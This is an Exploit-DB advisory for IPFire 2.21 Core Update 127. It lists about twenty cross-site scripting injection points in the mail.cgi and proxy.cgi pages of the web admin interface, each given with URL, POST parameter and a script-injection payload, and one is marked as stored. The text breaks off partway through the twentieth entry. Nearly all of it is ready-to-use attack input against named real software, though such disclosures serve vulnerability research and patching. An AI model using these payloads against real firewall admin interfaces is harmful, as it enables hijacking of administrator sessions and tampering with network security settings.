Exploit-DB #46344
Description: IPFire 2.21 - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2019-02-11
Author: Ozer Goker

Exploit:
##################################################################################################################################
# Exploit Title: IPFire 2.21 - Core Update 127 | Cross-Site Scripting
# Date: 08.02.2019
# Exploit Author: Ozer Goker
# Vendor Homepage: https://www.ipfire.org
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.21-core127/ipfire-2.21.x86_64-full-core127.iso
# Version: IPFire 2.21 - Core Update 127
##################################################################################################################################

Introduction
IPFire is a Linux distribution that focusses on easy setup, good handling
and high level of security. It is operated via an intuitive web-based
interface which offers many configuration options for beginning and
experienced system administrators. IPFire is maintained by developers who
are concerned about security and who update the product regularly to keep
it secure. IPFire ships with a custom package manager called Pakfire and
the system can be expanded with various add-ons.


#################################################################################

XSS details: Reflected & Stored

#################################################################################

XSS1 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailsender

PAYLOAD
'"><script>alert(1)</script>

#################################################################################

XSS2 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_recipient

PAYLOAD
'><script>alert(2)</script>

#################################################################################

XSS3 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailserver

PAYLOAD
'><script>alert(3)</script>

#################################################################################

XSS4 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailport

PAYLOAD
'><script>alert(4)</script>

#################################################################################

XSS5 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailuser

PAYLOAD
'><script>alert(5)</script>

#################################################################################

XSS6 | Reflected

URL
https://192.168.2.200:444/cgi-bin/mail.cgi

METHOD
Post

PARAMETER
txt_mailpass

PAYLOAD
'><script>alert(6)</script>

#################################################################################

XSS7 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
PROXY_PORT

PAYLOAD
'><script>alert(7)</script>

#################################################################################

XSS8 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
TRANSPARENT_PORT

PAYLOAD
'><script>alert(8)</script>

#################################################################################

XSS9 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_PROXY

PAYLOAD
'><script>alert(9)</script>

#################################################################################

XSS10 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_USER

PAYLOAD
'><script>alert(10)</script>

#################################################################################

XSS11 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
UPSTREAM_PASSWORD

PAYLOAD
'><script>alert(11)</script>

#################################################################################

XSS12 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
FILEDESCRIPTORS

PAYLOAD
'><script>alert(12)</script>

#################################################################################

XSS13 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
CACHE_MEM

PAYLOAD
'><script>alert(13)</script>

#################################################################################

XSS14 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
CACHE_SIZE

PAYLOAD
'><script>alert(14)</script>

#################################################################################

XSS15 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MIN_SIZE

PAYLOAD
'><script>alert(15)</script>

#################################################################################

XSS16 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_SIZE

PAYLOAD
'><script>alert(16)</script>

#################################################################################

XSS17 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_INCOMING_SIZE

PAYLOAD
'><script>alert(17)</script>

#################################################################################

XSS18 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
MAX_OUTGOING_SIZE

PAYLOAD
'><script>alert(18)</script>

#################################################################################

XSS19 | Stored

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
AUTH_CHILDREN

PAYLOAD
'><script>alert(19)</script>

#################################################################################

XSS20 | Reflected

URL
https://192.168.2.200:444/cgi-bin/proxy.cgi

METHOD
Post

PARAMETER
AUTH_CACHE_T